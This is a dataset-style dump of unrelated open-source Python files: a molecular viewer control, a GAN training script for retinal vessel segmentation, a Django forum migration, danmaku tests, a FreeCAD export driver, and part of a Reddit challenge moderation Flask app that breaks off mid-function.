code
stringlengths 2
1.05M
| repo_name
stringlengths 5
104
| path
stringlengths 4
251
| language
stringclasses 1
value | license
stringclasses 15
values | size
int32 2
1.05M
|
|---|---|---|---|---|---|
#!/bin/env python
#
# This file is part Protein Engineering Analysis Tool (PEAT)
# (C) Copyright Jens Erik Nielsen, University College Dublin 2003-
# All rights reserved
#
# Damien Farrell April 2010
from Tkinter import *
import Pmw
class YasaraControl(Frame):
"""A yasara controller for comparison use"""
def __init__(self, parent, yasara):
Frame.__init__(self, parent, height=200,width=160)
self.yasara = yasara
c=Button(self,text='Align', command=self.align)
c.grid(row=1,column=0,sticky='news',padx=2,pady=2)
'''c = Pmw.Counter(parent,
labelpos = 'w',
label_text = 'residue:',
entryfield_value = 0,
entryfield_command = self.selectRes,
entryfield_validate = {'validator' : 'integer',
'min' : 0, 'max' : 1000})
c.grid(row=2,column=0,columnspan=2,padx=2,pady=2)'''
return
def align(self):
"""try to align objects"""
Y = self.yasara
Y.AlignMultiAll()
return
def selectRes(self):
"""Allow highlight residue from list"""
return
|
dmnfarrell/peat
|
PEATDB/Yasara.py
|
Python
|
mit
| 1,231
|
import numpy as np
from model import GAN, discriminator_pixel, discriminator_image, discriminator_patch1, discriminator_patch2, generator, discriminator_dummy
import utils
import os
from PIL import Image
import argparse
from keras import backend as K
# arrange arguments
parser=argparse.ArgumentParser()
parser.add_argument(
'--ratio_gan2seg',
type=int,
help="ratio of gan loss to seg loss",
required=True
)
parser.add_argument(
'--gpu_index',
type=str,
help="gpu index",
required=True
)
parser.add_argument(
'--discriminator',
type=str,
help="type of discriminator",
required=True
)
parser.add_argument(
'--batch_size',
type=int,
help="batch size",
required=True
)
parser.add_argument(
'--dataset',
type=str,
help="dataset name",
required=True
)
FLAGS,_= parser.parse_known_args()
# training settings
os.environ['CUDA_VISIBLE_DEVICES']=FLAGS.gpu_index
n_rounds=10
batch_size=FLAGS.batch_size
n_filters_d=32
n_filters_g=32
val_ratio=0.05
init_lr=2e-4
schedules={'lr_decay':{}, # learning rate and step have the same decay schedule (not necessarily the values)
'step_decay':{}}
alpha_recip=1./FLAGS.ratio_gan2seg if FLAGS.ratio_gan2seg>0 else 0
rounds_for_evaluation=range(n_rounds)
# set dataset
dataset=FLAGS.dataset
img_size= (640,640) if dataset=='DRIVE' else (720,720) # (h,w) [original img size => DRIVE : (584, 565), STARE : (605,700) ]
img_out_dir="{}/segmentation_results_{}_{}".format(FLAGS.dataset,FLAGS.discriminator,FLAGS.ratio_gan2seg)
model_out_dir="{}/model_{}_{}".format(FLAGS.dataset,FLAGS.discriminator,FLAGS.ratio_gan2seg)
auc_out_dir="{}/auc_{}_{}".format(FLAGS.dataset,FLAGS.discriminator,FLAGS.ratio_gan2seg)
train_dir="../data/{}/training/".format(dataset)
test_dir="../data/{}/test/".format(dataset)
if not os.path.isdir(img_out_dir):
os.makedirs(img_out_dir)
if not os.path.isdir(model_out_dir):
os.makedirs(model_out_dir)
if not os.path.isdir(auc_out_dir):
os.makedirs(auc_out_dir)
# set training and validation dataset
train_imgs, train_vessels =utils.get_imgs(train_dir, augmentation=True, img_size=img_size, dataset=dataset)
train_vessels=np.expand_dims(train_vessels, axis=3)
n_all_imgs=train_imgs.shape[0]
n_train_imgs=int((1-val_ratio)*n_all_imgs)
train_indices=np.random.choice(n_all_imgs,n_train_imgs,replace=False)
train_batch_fetcher=utils.TrainBatchFetcher(train_imgs[train_indices,...], train_vessels[train_indices,...], batch_size)
val_imgs, val_vessels=train_imgs[np.delete(range(n_all_imgs),train_indices),...], train_vessels[np.delete(range(n_all_imgs),train_indices),...]
# set test dataset
test_imgs, test_vessels, test_masks=utils.get_imgs(test_dir, augmentation=False, img_size=img_size, dataset=dataset, mask=True)
# create networks
g = generator(img_size, n_filters_g)
if FLAGS.discriminator=='pixel':
d, d_out_shape = discriminator_pixel(img_size, n_filters_d,init_lr)
elif FLAGS.discriminator=='patch1':
d, d_out_shape = discriminator_patch1(img_size, n_filters_d,init_lr)
elif FLAGS.discriminator=='patch2':
d, d_out_shape = discriminator_patch2(img_size, n_filters_d,init_lr)
elif FLAGS.discriminator=='image':
d, d_out_shape = discriminator_image(img_size, n_filters_d,init_lr)
else:
d, d_out_shape = discriminator_dummy(img_size, n_filters_d,init_lr)
gan=GAN(g,d,img_size, n_filters_g, n_filters_d,alpha_recip, init_lr)
g.summary()
d.summary()
gan.summary()
# start training
scheduler=utils.Scheduler(n_train_imgs//batch_size, n_train_imgs//batch_size, schedules, init_lr) if alpha_recip>0 else utils.Scheduler(0, n_train_imgs//batch_size, schedules, init_lr)
print "training {} images :".format(n_train_imgs)
for n_round in range(n_rounds):
# train D
utils.make_trainable(d, True)
for i in range(scheduler.get_dsteps()):
real_imgs, real_vessels = next(train_batch_fetcher)
d_x_batch, d_y_batch = utils.input2discriminator(real_imgs, real_vessels, g.predict(real_imgs,batch_size=batch_size), d_out_shape)
d.train_on_batch(d_x_batch, d_y_batch)
# train G (freeze discriminator)
utils.make_trainable(d, False)
for i in range(scheduler.get_gsteps()):
real_imgs, real_vessels = next(train_batch_fetcher)
g_x_batch, g_y_batch=utils.input2gan(real_imgs, real_vessels, d_out_shape)
gan.train_on_batch(g_x_batch, g_y_batch)
# evaluate on validation set
if n_round in rounds_for_evaluation:
# D
d_x_test, d_y_test=utils.input2discriminator(val_imgs, val_vessels, g.predict(val_imgs,batch_size=batch_size), d_out_shape)
loss, acc=d.evaluate(d_x_test,d_y_test, batch_size=batch_size, verbose=0)
utils.print_metrics(n_round+1, loss=loss, acc=acc, type='D')
# G
gan_x_test, gan_y_test=utils.input2gan(val_imgs, val_vessels, d_out_shape)
loss,acc=gan.evaluate(gan_x_test,gan_y_test, batch_size=batch_size, verbose=0)
utils.print_metrics(n_round+1, acc=acc, loss=loss, type='GAN')
# save the model and weights with the best validation loss
with open(os.path.join(model_out_dir,"g_{}_{}_{}.json".format(n_round,FLAGS.discriminator,FLAGS.ratio_gan2seg)),'w') as f:
f.write(g.to_json())
g.save_weights(os.path.join(model_out_dir,"g_{}_{}_{}.h5".format(n_round,FLAGS.discriminator,FLAGS.ratio_gan2seg)))
# update step sizes, learning rates
scheduler.update_steps(n_round)
K.set_value(d.optimizer.lr, scheduler.get_lr())
K.set_value(gan.optimizer.lr, scheduler.get_lr())
# evaluate on test images
if n_round in rounds_for_evaluation:
generated=g.predict(test_imgs,batch_size=batch_size)
generated=np.squeeze(generated, axis=3)
vessels_in_mask, generated_in_mask = utils.pixel_values_in_mask(test_vessels, generated , test_masks)
auc_roc=utils.AUC_ROC(vessels_in_mask,generated_in_mask,os.path.join(auc_out_dir,"auc_roc_{}.npy".format(n_round)))
auc_pr=utils.AUC_PR(vessels_in_mask, generated_in_mask,os.path.join(auc_out_dir,"auc_pr_{}.npy".format(n_round)))
utils.print_metrics(n_round+1, auc_pr=auc_pr, auc_roc=auc_roc, type='TESTING')
# print test images
segmented_vessel=utils.remain_in_mask(generated, test_masks)
for index in range(segmented_vessel.shape[0]):
Image.fromarray((segmented_vessel[index,:,:]*255).astype(np.uint8)).save(os.path.join(img_out_dir,str(n_round)+"_{:02}_segmented.png".format(index+1)))
|
jaeminSon/V-GAN
|
codes/train.py
|
Python
|
mit
| 6,553
|
from __future__ import unicode_literals
class User(object):
def __init__(self, app, id, name, adapter):
self.app = app
self.id = id
self.name = name
self.chat = adapter.create_chat_with(self.id)
self.storage = app.get_storage('communication:{}:users:{}'.format(
adapter.name, self.id))
def __unicode__(self):
return '{} ({})'.format(self.name, self.id)
|
KiraLT/KiraBot
|
src/kirabot/kirabot/communication/user.py
|
Python
|
mit
| 425
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.contrib.auth.models
import django.utils.timezone
from django.conf import settings
import django.core.validators
import forum.models
class Migration(migrations.Migration):
dependencies = [
('auth', '0006_require_contenttypes_0002'),
]
operations = [
migrations.CreateModel(
name='ForumUser',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('password', models.CharField(max_length=128, verbose_name='password')),
('last_login', models.DateTimeField(null=True, verbose_name='last login', blank=True)),
('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')),
('username', models.CharField(error_messages={'unique': 'A user with that username already exists.'}, max_length=30, validators=[django.core.validators.RegexValidator('^[\\w.@+-]+$', 'Enter a valid username. This value may contain only letters, numbers and @/./+/-/_ characters.', 'invalid')], help_text='Required. 30 characters or fewer. Letters, digits and @/./+/-/_ only.', unique=True, verbose_name='username')),
('first_name', models.CharField(max_length=30, verbose_name='first name', blank=True)),
('last_name', models.CharField(max_length=30, verbose_name='last name', blank=True)),
('email', models.EmailField(max_length=254, verbose_name='email address', blank=True)),
('is_staff', models.BooleanField(default=False, help_text='Designates whether the user can log into this admin site.', verbose_name='staff status')),
('is_active', models.BooleanField(default=True, help_text='Designates whether this user should be treated as active. Unselect this instead of deleting accounts.', verbose_name='active')),
('date_joined', models.DateTimeField(default=django.utils.timezone.now, verbose_name='date joined')),
('nickname', models.CharField(max_length=200, null=True, blank=True)),
('avatar', models.CharField(max_length=200, null=True, blank=True)),
('signature', models.CharField(max_length=500, null=True, blank=True)),
('location', models.CharField(max_length=200, null=True, blank=True)),
('website', models.URLField(null=True, blank=True)),
('company', models.CharField(max_length=200, null=True, blank=True)),
('role', models.IntegerField(null=True, blank=True)),
('balance', models.IntegerField(null=True, blank=True)),
('reputation', models.IntegerField(null=True, blank=True)),
('self_intro', models.CharField(max_length=500, null=True, blank=True)),
('updated', models.DateTimeField(null=True, blank=True)),
('twitter', models.CharField(max_length=200, null=True, blank=True)),
('github', models.CharField(max_length=200, null=True, blank=True)),
('douban', models.CharField(max_length=200, null=True, blank=True)),
('groups', models.ManyToManyField(related_query_name='user', related_name='user_set', to='auth.Group', blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', verbose_name='groups')),
('user_permissions', models.ManyToManyField(related_query_name='user', related_name='user_set', to='auth.Permission', blank=True, help_text='Specific permissions for this user.', verbose_name='user permissions')),
],
options={
'abstract': False,
'verbose_name': 'user',
'verbose_name_plural': 'users',
},
managers=[
('objects', django.contrib.auth.models.UserManager()),
],
),
migrations.CreateModel(
name='Favorite',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('involved_type', models.IntegerField(null=True, blank=True)),
('created', models.DateTimeField(null=True, blank=True)),
],
),
migrations.CreateModel(
name='Node',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(max_length=200, null=True, blank=True)),
('slug', models.SlugField(max_length=200, null=True, blank=True)),
('thumb', models.CharField(max_length=200, null=True, blank=True)),
('introduction', models.CharField(max_length=500, null=True, blank=True)),
('created', models.DateTimeField(null=True, blank=True)),
('updated', models.DateTimeField(null=True, blank=True)),
('topic_count', models.IntegerField(null=True, blank=True)),
('custom_style', forum.models.NormalTextField(null=True, blank=True)),
('limit_reputation', models.IntegerField(null=True, blank=True)),
],
),
migrations.CreateModel(
name='Notification',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('content', forum.models.NormalTextField(null=True, blank=True)),
('status', models.IntegerField(null=True, blank=True)),
('involved_type', models.IntegerField(null=True, blank=True)),
('occurrence_time', models.DateTimeField(null=True, blank=True)),
],
),
migrations.CreateModel(
name='Plane',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(max_length=200, null=True, blank=True)),
('created', models.DateTimeField(null=True, blank=True)),
('updated', models.DateTimeField(null=True, blank=True)),
],
),
migrations.CreateModel(
name='Reply',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('content', forum.models.NormalTextField(null=True, blank=True)),
('created', models.DateTimeField(null=True, blank=True)),
('updated', models.DateTimeField(null=True, blank=True)),
('up_vote', models.IntegerField(null=True, blank=True)),
('down_vote', models.IntegerField(null=True, blank=True)),
('last_touched', models.DateTimeField(null=True, blank=True)),
('author', models.ForeignKey(related_name='reply_author', blank=True, to=settings.AUTH_USER_MODEL, null=True)),
],
),
migrations.CreateModel(
name='Topic',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('title', models.CharField(max_length=200, null=True, blank=True)),
('slug', models.SlugField(max_length=200, null=True, blank=True)),
('content', forum.models.NormalTextField(null=True, blank=True)),
('status', models.IntegerField(null=True, blank=True)),
('hits', models.IntegerField(null=True, blank=True)),
('created', models.DateTimeField(null=True, blank=True)),
('updated', models.DateTimeField(null=True, blank=True)),
('reply_count', models.IntegerField(null=True, blank=True)),
('last_replied_time', models.DateTimeField(null=True, blank=True)),
('up_vote', models.IntegerField(null=True, blank=True)),
('down_vote', models.IntegerField(null=True, blank=True)),
('last_touched', models.DateTimeField(null=True, blank=True)),
('author', models.ForeignKey(related_name='topic_author', blank=True, to=settings.AUTH_USER_MODEL, null=True)),
('last_replied_by', models.ForeignKey(related_name='topic_last', blank=True, to=settings.AUTH_USER_MODEL, null=True)),
('node', models.ForeignKey(blank=True, to='forum.Node', null=True)),
],
),
migrations.CreateModel(
name='Transaction',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('type', models.IntegerField(null=True, blank=True)),
('reward', models.IntegerField(null=True, blank=True)),
('current_balance', models.IntegerField(null=True, blank=True)),
('occurrence_time', models.DateTimeField(null=True, blank=True)),
('involved_reply', models.ForeignKey(related_name='trans_reply', blank=True, to='forum.Reply', null=True)),
('involved_topic', models.ForeignKey(related_name='trans_topic', blank=True, to='forum.Topic', null=True)),
('involved_user', models.ForeignKey(related_name='trans_involved', blank=True, to=settings.AUTH_USER_MODEL, null=True)),
('user', models.ForeignKey(related_name='trans_user', blank=True, to=settings.AUTH_USER_MODEL, null=True)),
],
),
migrations.CreateModel(
name='Vote',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('status', models.IntegerField(null=True, blank=True)),
('involved_type', models.IntegerField(null=True, blank=True)),
('occurrence_time', models.DateTimeField(null=True, blank=True)),
('involved_reply', models.ForeignKey(related_name='vote_reply', blank=True, to='forum.Reply', null=True)),
('involved_topic', models.ForeignKey(related_name='vote_topic', blank=True, to='forum.Topic', null=True)),
('involved_user', models.ForeignKey(related_name='vote_user', blank=True, to=settings.AUTH_USER_MODEL, null=True)),
('trigger_user', models.ForeignKey(related_name='vote_trigger', blank=True, to=settings.AUTH_USER_MODEL, null=True)),
],
),
migrations.AddField(
model_name='reply',
name='topic',
field=models.ForeignKey(blank=True, to='forum.Topic', null=True),
),
migrations.AddField(
model_name='notification',
name='involved_reply',
field=models.ForeignKey(related_name='notify_reply', blank=True, to='forum.Reply', null=True),
),
migrations.AddField(
model_name='notification',
name='involved_topic',
field=models.ForeignKey(related_name='notify_topic', blank=True, to='forum.Topic', null=True),
),
migrations.AddField(
model_name='notification',
name='involved_user',
field=models.ForeignKey(related_name='notify_user', blank=True, to=settings.AUTH_USER_MODEL, null=True),
),
migrations.AddField(
model_name='notification',
name='trigger_user',
field=models.ForeignKey(related_name='notify_trigger', blank=True, to=settings.AUTH_USER_MODEL, null=True),
),
migrations.AddField(
model_name='node',
name='plane',
field=models.ForeignKey(blank=True, to='forum.Plane', null=True),
),
migrations.AddField(
model_name='favorite',
name='involved_reply',
field=models.ForeignKey(related_name='fav_reply', blank=True, to='forum.Reply', null=True),
),
migrations.AddField(
model_name='favorite',
name='involved_topic',
field=models.ForeignKey(related_name='fav_topic', blank=True, to='forum.Topic', null=True),
),
migrations.AddField(
model_name='favorite',
name='owner_user',
field=models.ForeignKey(related_name='fav_user', blank=True, to=settings.AUTH_USER_MODEL, null=True),
),
]
|
michaelyou/One-piece-forum
|
forum/migrations/0001_initial.py
|
Python
|
mit
| 12,680
|
import os
import sys
import scandir
import pymmh3 as mmh3
import misc
def log_paths_dict(d, record_key = 'input', nest_depth = 1, sep = ':',
cl_args_list = sys.argv):
'''
Records contents of dictionary d at record_key on nest_depth.
Assumes unnested elements of d follow human-name: file-path.
Values of d at record_key can be string or (nested) dict.
'''
if misc.is_scons_dry_run(cl_args_list = cl_args_list):
return None
record_dict = misc.flatten_dict(d)
record_dict = [(key, val) for key, val in sorted(record_dict.items())
if key.count(sep) >= nest_depth and val not in [None, 'None', '']]
for name, path in record_dict:
if record_key == name.split(sep)[nest_depth]:
record_dir(path, name)
return None
def record_dir(inpath, name,
include_checksum = False,
file_limit = 5000,
outpath = 'state_of_input.log'):
'''
Record relative path, size, and (optionally) checksum of all files within inpath.
Relative paths are from inpath.
Append info in |-delimited format to outpath below a heading made from inpath.
'''
inpath, name, this_file_only, do_walk = check_inpath(inpath, name)
if do_walk:
files_info = walk(inpath, include_checksum, file_limit, this_file_only)
else:
files_info = None
check_outpath(outpath)
write_log(name, files_info, outpath)
return None
def check_inpath(inpath, name):
'''
Check that inpath exists as file or directory.
If file, make inpath the file's directory and only record info for that file.
'''
this_file_only = None
do_walk = True
if os.path.isfile(inpath):
this_file_only = inpath
inpath = os.path.dirname(inpath)
elif os.path.isdir(inpath):
pass
else:
name = name + ', could not find at runtime.'
do_walk = False
return inpath, name, this_file_only, do_walk
def check_outpath(outpath):
'''
Ensure that the directory for outpath exists.
'''
dirname = os.path.dirname(outpath)
if dirname and not os.path.isdir(dirname):
os.makedirs(dirname)
return None
def walk(inpath, include_checksum, file_limit, this_file_only):
'''
Walk through inpath and grab paths to all subdirs and info on all files.
Walk in same order as os.walk.
Keep walking until there are no more subdirs or there's info on file_limit files.
'''
dirs = [inpath]
files_info, file_limit = prep_files_info(include_checksum, file_limit)
while dirs and do_more_files(files_info, file_limit):
dirs, files_info = scan_dir_wrapper(
dirs, files_info, inpath, include_checksum, file_limit, this_file_only)
return files_info
def prep_files_info(include_checksum, file_limit):
'''
Create a header for the file characteristics to grab.
Adjusts file_limit for existence of header.
'''
files_info = [['file path', 'file size in bytes']]
if include_checksum:
files_info[0].append('MurmurHash3')
file_limit += 1
return files_info, file_limit
def do_more_files(files_info, file_limit):
'''
True if files_info has fewer then file_limit elements.
'''
return bool(len(files_info) < file_limit)
def scan_dir_wrapper(dirs, files_info, inpath, include_checksum, file_limit,
this_file_only):
'''
Drop down access and output management for scan_dir.
Keep running the while loop in walk as directories are removed and added.
'''
dir_to_scan = dirs.pop(0)
subdirs, files_info = scan_dir(
dir_to_scan, files_info, inpath, include_checksum, file_limit, this_file_only)
dirs += subdirs
return dirs, files_info
def scan_dir(dir_to_scan, files_info, inpath, include_checksum, file_limit,
this_file_only):
'''
Collect names of all subdirs and all information on files.
'''
subdirs = []
entries = scandir.scandir(dir_to_scan)
for entry in entries:
if entry.is_dir(follow_symlinks = False):
if '.git' in entry.path or '.svn' in entry.path:
continue
else:
subdirs.append(entry.path)
elif entry.is_file() and (this_file_only is None or this_file_only == entry.path):
f_info = get_file_information(entry, inpath, include_checksum)
files_info.append(f_info)
if not do_more_files(files_info, file_limit):
break
return subdirs, files_info
def get_file_information(f, inpath, include_checksum):
'''
Grabs path and size from scandir file object.
Will compute file's checksum if asked.
'''
f_path = os.path.relpath(f.path, inpath).strip()
f_size = str(f.stat().st_size)
f_info = [f_path, f_size]
if include_checksum:
with open(f.path, 'rU') as infile:
f_checksum = str(mmh3.hash128(infile.read(), 2017))
f_info.append(f_checksum)
return f_info
def write_log(name, files_info, outpath):
'''
Write file information to outpath under a nice header.
'''
out_name = misc.make_heading(name)
if files_info is not None:
out_files_info = ['|'.join(l) for l in files_info]
out_files_info = '\n'.join(out_files_info)
else:
out_files_info = ''
with open(outpath, 'ab') as f:
f.write(out_name)
f.write(out_files_info)
f.write('\n\n')
return None
|
gslab-econ/gslab_python
|
gslab_scons/log_paths_dict.py
|
Python
|
mit
| 5,515
|
# -*- coding: utf-8 -*-
from unittest import TestCase
from nose.tools import eq_
from mock import Mock
from datetime import datetime
from tests.constants import STRING, NUMBER, DATE
from tests.asserters import eq_obj
from danmaku.cores.danmaku_process import generate_danmaku
from danmaku.cores.danmaku_process import process_recieve_data
from danmaku.models import DANMU_MSG, SEND_GIFT, WELCOME, SEND_TOP
from danmaku.models.danmaku import DanmakuModel
from danmaku.configs.personal_settings import TIME_FORMAT
from danmaku.helpers import convert_hexascii_to_int
def test_generate_danmaku():
msg = {
u'info': [
[ 0, 1, 25, 16777215, 1441727762, 1585812335, 0, u'c8de2b91', 0],
u'xxxxx',
[ NUMBER, u'xxxx', 0, u'0']
],
u'cmd': u'DANMU_MSG',
u'roomid': NUMBER
}
danmaku_type = DANMU_MSG
publisher = msg['info'][2][1].encode('utf-8')
content = msg['info'][1].encode('utf-8')
is_vip = msg['info'][2][2] == 1
is_admin = int(msg['info'][2][3].encode('utf-8')) == 1
expect_danmaku = DanmakuModel(
publisher=publisher,
content=content,
recieved_time=datetime.now().strftime(TIME_FORMAT),
danmaku_type=danmaku_type,
is_admin=is_admin,
is_vip=is_vip
)
test_danmaku = generate_danmaku(msg)
eq_obj(expect_danmaku, test_danmaku)
msg = {
u'roomid': NUMBER,
u'cmd': u'SEND_GIFT',
u'data': {
u'top_list': [
{u'uname': u'xxx', u'coin': NUMBER, u'uid': NUMBER},
],
u'uid': NUMBER,
u'timestamp': 1441727778,
u'price': NUMBER,
u'giftId': 1,
u'uname': u'xxxxx',
u'num': NUMBER,
u'rcost': NUMBER,
u'super': 0,
u'action': u'\u5582\u98df',
u'giftName': u'\u8fa3\u6761'
}
}
danmaku_type = SEND_GIFT
publisher = msg['data']['uname'].encode('utf-8')
content = ''.join(
[str(msg['data']['num']), ' X ',
msg['data']['giftName'].encode('utf-8'),
' 目前共花销:', str(msg['data']['rcost'])])
is_vip = False
is_admin = False
expect_danmaku = DanmakuModel(
publisher=publisher,
content=content,
recieved_time=datetime.now().strftime(TIME_FORMAT),
danmaku_type=danmaku_type,
is_admin=is_admin,
is_vip=is_vip
)
test_danmaku = generate_danmaku(msg)
eq_obj(expect_danmaku, test_danmaku)
msg = {
u'roomid': NUMBER,
u'cmd': u'WELCOME',
u'data': {
u'uname': u'xxxxxr',
u'isadmin': 0,
u'uid': NUMBER
}
}
danmaku_type = WELCOME
publisher = msg['data']['uname'].encode('utf-8')
is_vip = True
content = None
is_admin = msg['data']['isadmin'] == 1
expect_danmaku = DanmakuModel(
publisher=publisher,
content=content,
recieved_time=datetime.now().strftime(TIME_FORMAT),
danmaku_type=danmaku_type,
is_admin=is_admin,
is_vip=is_vip
)
test_danmaku = generate_danmaku(msg)
eq_obj(expect_danmaku, test_danmaku)
msg = {
u'roomid': u'11111',
u'cmd': u'SEND_TOP',
u'data': {
u'top_list': [
{u'uname': u'xxxx', u'coin': NUMBER, u'uid': NUMBER},
]
}
}
danmaku_type = SEND_TOP
tops = msg["data"]['top_list']
contents = ["{}: {} {}".format(top['uid'], top['uname'], top['coin'])
for top in tops]
content = '\n'.join(contents)
publisher = "排行榜"
is_vip = False
is_admin = False
expect_danmaku = DanmakuModel(
publisher=publisher,
content=content,
recieved_time=datetime.now().strftime(TIME_FORMAT),
danmaku_type=danmaku_type,
is_admin=is_admin,
is_vip=is_vip
)
test_danmaku = generate_danmaku(msg)
eq_obj(expect_danmaku, test_danmaku)
def test_process_recieve_data():
# I have no idea to tests it.
mock_fun = Mock(process_recieve_data)
mock_fun.return_value = True
eq_(mock_fun(), True)
|
OctavianLee/Barrage
|
tests/cores/test_danmaku_process.py
|
Python
|
mit
| 4,281
|
from ..abstractdriver import AbstractDriver
import numpy as np
import os
class FreeCADDriver(AbstractDriver):
def __init__(self, debug=False):
super(FreeCADDriver, self).__init__()
self._debug = debug
self._program_name = "FreeCAD"
def get_program_name(self):
return self._program_name
def import_data(self, filename, species=None):
if self._debug:
print("Importing data from program: {}".format(self._program_name))
print("FreeCAD driver is export-only!")
return None
def export_data(self, dataset, filename):
# TODO: Make number of trajectories and time frequency user input -DW
ntrj = 1000 # only use 1000 random trajectories
freq = 5 # only use every 5th step
if self._debug:
print("Exporting data for program: {}".format(self._program_name))
datasource = dataset.get_datasource()
nsteps = dataset.get_nsteps()
maxnumpart = len(datasource.get("Step#0").get("x").value)
_chosen = np.random.choice(maxnumpart, ntrj)
with open(os.path.splitext(filename)[0] + ".dat", "w") as outfile:
outfile.write("step, ID, x (m), y (m), z (m)\n")
for step in range(nsteps):
if step % freq == 0:
_stepdata = datasource.get("Step#{}".format(step))
_ids = _stepdata.get("id").value
# npart = len(_ids)
indices = np.nonzero(np.isin(_ids, _chosen))[0]
if self._debug:
print("Saving step {} of {}, found {} matching ID's".format(step, nsteps, len(indices)))
for i in indices:
# if datasource.get("Step#{}".format(step)).get("id")[i] in _chosen:
outstring = "{} {} ".format(step, datasource.get("Step#{}".format(step)).get("id")[i])
outstring += "{} {} {}\n".format(datasource.get("Step#{}".format(step)).get("x")[i],
datasource.get("Step#{}".format(step)).get("y")[i],
datasource.get("Step#{}".format(step)).get("z")[i])
outfile.write(outstring)
return 0
|
DanielWinklehner/py_particle_processor
|
py_particle_processor_qt/drivers/FreeCADDriver/FreeCADDriver.py
|
Python
|
mit
| 2,334
|
#!/usr/bin/python
# TODO: issues with new oauth2 stuff. Keep using older version of Python for now.
# #!/usr/bin/env python
import subprocess
import praw
import datetime
import pyperclip
from hashlib import sha1
from flask import Flask
from flask import Response
from flask import request
from cStringIO import StringIO
from base64 import b64encode
from base64 import b64decode
from ConfigParser import ConfigParser
import OAuth2Util
import os
import markdown
import bleach
# encoding=utf8
import sys
from participantCollection import ParticipantCollection
reload(sys)
sys.setdefaultencoding('utf8')
# Edit Me!
challengePageSubmissionId = '68lss2'
flaskport = 8891
thisMonthName = "May"
nextMonthName = "June"
readAllCommentsWhichCanBeSlower = False
sorryTooLateToSignUpReplyText = "Sorry, but the late signup grace period for " + thisMonthName + " is over, so you can't officially join this challenge. But feel free to follow along anyway, and comment all you want. And be sure to join us for the " + nextMonthName + " challenge. Signup posts for " + nextMonthName + " will begin during the last week of " + thisMonthName + "."
reinstatedReplyText = "OK, I've reinstated you. You should start showing up on the list again starting tomorrow."
app = Flask(__name__)
app.debug = True
commentHashesAndComments = {}
submission = None
def loginAndReturnRedditSession():
config = ConfigParser()
config.read("../reddit-password-credentials.cfg")
user = config.get("Reddit", "user")
password = config.get("Reddit", "password")
# TODO: password auth is going away, and we will soon need to do oauth.
redditSession = praw.Reddit(user_agent='Test Script by /u/foobarbazblarg')
redditSession.login(user, password, disable_warning=True)
# submissions = redditSession.get_subreddit('pornfree').get_hot(limit=5)
# print [str(x) for x in submissions]
return redditSession
def loginOAuthAndReturnRedditSession():
redditSession = praw.Reddit(user_agent='Test Script by /u/foobarbazblarg')
o = OAuth2Util.OAuth2Util(redditSession, print_log=True, configfile="../reddit-oauth-credentials.cfg")
# TODO: Testing comment of refresh. We authenticate fresh every time, so presumably no need to do o.refresh().
# o.refresh(force=True)
return redditSession
def getSubmissionForRedditSession(redditSession):
submission = redditSession.get_submission(submission_id=challengePageSubmissionId)
if readAllCommentsWhichCanBeSlower:
submission.replace_more_comments(limit=None, threshold=0)
return submission
def getCommentsForSubmission(submission):
return [comment for comment in praw.helpers.flatten_tree(submission.comments) if comment.__class__ == praw.objects.Comment]
def retireCommentHash(commentHash):
with open("retiredcommenthashes.txt", "a") as commentHashFile:
commentHashFile.write(commentHash + '\n')
def retiredCommentHashes():
with open("retiredcommenthashes.txt", "r") as commentHashFile:
# return commentHashFile.readlines()
return commentHashFile.read().splitlines()
@app.route('/moderatechallenge.html')
def moderatechallenge():
currentDayOfMonthIndex = datetime.date.today().day
lateCheckinGracePeriodIsInEffect = currentDayOfMonthIndex <= 3
global commentHashesAndComments
global submission
commentHashesAndComments = {}
stringio = StringIO()
stringio.write('<html>\n<head>\n</head>\n\n')
# redditSession = loginAndReturnRedditSession()
redditSession = loginOAuthAndReturnRedditSession()
submission = getSubmissionForRedditSession(redditSession)
flat_comments = getCommentsForSubmission(submission)
retiredHashes = retiredCommentHashes()
i = 1
stringio.write('<iframe name="invisibleiframe" style="display:none;"></iframe>\n')
stringio.write("<h3>")
stringio.write(os.getcwd())
stringio.write("<br>\n")
stringio.write(submission.title)
stringio.write("</h3>\n\n")
stringio.write('<form action="copydisplaytoclipboard.html" method="post" target="invisibleiframe">')
stringio.write('<input type="submit" name="actiontotake" value="Copy display.py stdout to clipboard">')
stringio.write('<input type="submit" name="actiontotake" value="Automatically post display.py stdout">')
stringio.write('</form>')
stringio.write('<form action="updategooglechart.html" method="post" target="invisibleiframe">')
stringio.write('<input type="submit" value="update-google-chart.py">')
stringio.write('</form>')
for comment in flat_comments:
# print comment.is_root
# print comment.score
i += 1
commentHash = sha1()
commentHash.update(comment.permalink)
commentHash.update(comment.body.encode('utf-8'))
commentHash = commentHash.hexdigest()
if commentHash not in retiredHashes:
commentHashesAndComments[commentHash] = comment
authorName = str(comment.author) # can be None if author was deleted. So check for that and skip if it's None.
participant = ParticipantCollection().participantNamed(authorName)
stringio.write("<hr>\n")
stringio.write('<font color="blue"><b>')
stringio.write(authorName)
stringio.write('</b></font><br>')
if ParticipantCollection().hasParticipantNamed(authorName):
stringio.write(' <small><font color="green">(member)</font></small>')
if participant.isStillIn:
stringio.write(' <small><font color="green">(still in)</font></small>')
else:
stringio.write(' <small><font color="red">(out)</font></small>')
if participant.hasCheckedIn:
stringio.write(' <small><font color="green">(checked in)</font></small>')
else:
stringio.write(' <small><font color="orange">(not checked in)</font></small>')
if participant.hasRelapsed:
stringio.write(' <small><font color="red">(relapsed)</font></small>')
else:
stringio.write(' <small><font color="green">(not relapsed)</font></small>')
else:
